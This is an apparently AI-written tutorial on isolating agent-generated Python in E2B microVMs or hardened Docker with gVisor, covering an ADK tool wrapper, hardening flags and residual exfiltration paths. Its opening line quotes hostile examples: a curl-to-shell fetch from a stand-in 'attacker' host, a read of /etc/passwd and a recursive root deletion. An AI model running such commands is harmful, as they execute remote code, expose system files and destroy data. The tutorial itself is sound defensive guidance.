Sandboxed Python Execution: Securing Dynamic Code Tools with E2B or Docker
Give agents a Python interpreter without handing them your server: sandbox options from E2B microVMs to hardened Docker, plus the ADK tool wrapper and the residual risks.
Published on • November 28, 2026
AI Assistant

Letting an agent write and run Python is the highest-leverage feature you can add and the fastest way to compromise your own service: exec(open('/etc/passwd').read()), os.system('curl attacker | sh'), and shutil.rmtree('/') are all valid Python, and the model can be talked into producing any of them. The security boundary therefore cannot be your prompt — it has to be a separate execution environment with its own kernel, its own filesystem, and a network you control.
This tutorial covers what ADK’s own safety guidance recommends for code execution, how a managed sandbox (E2B) looks from an ADK tool, the hardened-Docker alternative and its flags, a comparison of the options, and the exfiltration paths a sandbox alone does not close.
Why in-process execution is not a sandbox
subprocess.run(...) inside your tool runs with your process’s OS permissions: same filesystem, same environment variables (API keys included), same network. Python-level restrictions (__builtins__ stripping, AST allow-lists) are bypassable by anyone with a repr and patience, and they certainly do not stop a ctypes call. Sandboxing means moving the code somewhere its failure is containable — a separate process with a dropped-privilege user is the floor, a separate container kernel namespace is the norm, a separate microVM kernel is the ceiling.
What ADK recommends
ADK’s safety page treats code execution as a special tool class: sandboxing is mandatory because model-generated code can otherwise compromise the local environment. For most teams the ladder looks like this:
- Server-side built-ins — the Gemini API code execution feature (
code_executor=BuiltInCodeExecutor()on the agent) runs code on Google’s side, no infrastructure of yours involved. - The Vertex Code Interpreter extension — exposed through ADK’s Code Executor integration for data-analysis workloads against your data.
- Your own executor — when neither fits, build one, and ADK’s guidance is explicit: keep environments hermetic (no network, no arbitrary API calls, so no uncontrolled exfiltration) and clean up all data between executions so one user’s files never reach the next.
Option 3 is where E2B and Docker enter.
E2B: a microVM per session
E2B gives each session a Firecracker microVM — its own kernel, not a shared-kernel container — booted from a snapshot and controlled from your process. The Python SDK is small:
from e2b_code_interpreter import Sandbox
def run_python(code: str, timeout_s: int = 30) -> dict:
"""Execute Python in an isolated sandbox and return its output.
Args:
code (str): Python source to execute. No network access.
timeout_s (int): Wall-clock limit, 1-120. Defaults to 30.
"""
sbx = None
try:
sbx = Sandbox.create() # one microVM per call/session
execution = sbx.run_code(code)
return {
'status': 'success',
'stdout': (execution.logs.stdout or []),
'stderr': (execution.logs.stderr or []),
'results': [r.text for r in (execution.results or [])],
}
except Exception as e:
return {'status': 'error', 'error_message': f'Sandbox failed: {e}', 'retryable': True}
finally:
if sbx:
sbx.kill() # default lifetime is short (~5 min)
Beyond run_code, the sandbox exposes a shell, a filesystem (sbx.files.*), exposed ports tunneled over HTTPS, and lifecycle control: pause/resume with a full snapshot (filesystem plus memory) and fork from a saved state — which maps neatly onto resuming an agent session. Security-relevant levers: egress is controllable per CIDR or hostname, secrets can be injected at the egress proxy so a value never enters the sandbox filesystem, and the service is SOC 2 Type II with BYOC and an embeddable open-source runtime for teams that must keep the data plane in their own cloud.
Self-hosting with Docker (and gVisor)
Docker keeps everything in your VPC but inherits the host kernel unless you change the runtime. The baseline hardening for an agent code runner:
docker run --rm -i \
--network=none \ # hermetic: no egress at all
--read-only \ # no writes to the rootfs
--tmpfs /tmp:rw,size=64m \ # only writable area, wiped with the container
--user=65534:65534 \ # nobody
--cap-drop=ALL --security-opt=no-new-privileges \
--memory=512m --cpus=1 --pids-limit=64 \
--runtime=runsc \ # gVisor: user-space kernel, filters syscalls
agent-sandbox python -u -
--network=none is the single most important line: it converts “the model exfiltrates your data” into “the model computes a number.” If the workload legitimately needs network, replace blanket egress with an allow-list proxy rather than restoring full access. gVisor (runsc) adds a user-space kernel so a container-escape bug has far less host kernel to attack; Kata or Firecracker give you the microVM boundary Docker lacks by default. Also note that the image itself must not contain your secrets — build a clean runner image, mount inputs read-only, and delete the container after every run.
Choosing an option
| Option | Isolation boundary | Network control | State between runs | Your ops burden |
|---|---|---|---|---|
| Gemini built-in code execution | Google-hosted | provider-managed | none | none |
| Vertex Code Interpreter | Google-hosted | provider-managed | extension-managed | none |
| E2B cloud | Firecracker microVM | CIDR/hostname egress rules | snapshot, pause/fork, volumes | low (managed) |
| E2B embed (self-hosted) | Firecracker microVM | yours | yours | medium |
Docker + --network=none | shared kernel, dropped caps | deny-all | tmpfs, wiped | high |
| Docker + gVisor/Kata | user-space kernel or microVM | yours | wiped per run | high |
The sandbox does not close every hole
Three residual paths deserve explicit design. Inputs travel in: the code you ship into the sandbox may contain secrets, so pass parameters, not credentials, and prefer proxy-injected secrets. Outputs travel out: stdout becomes a function response in the model’s context and in persisted session events — sanitize it the way you sanitize tool errors. Data at rest: kill the sandbox in a finally, keep executions short, and avoid persistent volumes for untrusted code unless they are per-session and wiped. Finally, treat a large or repeated sandbox failure as a retryable signal the model can route around rather than a silent hang.
Takeaways
- Model-written code must run outside your process: server-side code execution, a microVM, or a hardened container — never
execin the tool. - ADK’s guidance for custom executors is hermetic (no network) plus complete cleanup between runs; both are anti-exfiltration measures, not hygiene.
- E2B gives a Firecracker microVM per session with egress rules, proxy-injected secrets, and snapshot/fork semantics that match agent sessions.
- With Docker:
--network=none, read-only rootfs, non-root user,--cap-drop=ALL, memory/CPU/pid limits, and gVisor or Kata for a stronger boundary. - Bound the execution time, kill the sandbox on every exit path, and sanitize what the output puts back into the conversation.
- Keep secrets out of the code you inject: pass parameters into the sandbox and let an egress proxy inject credentials.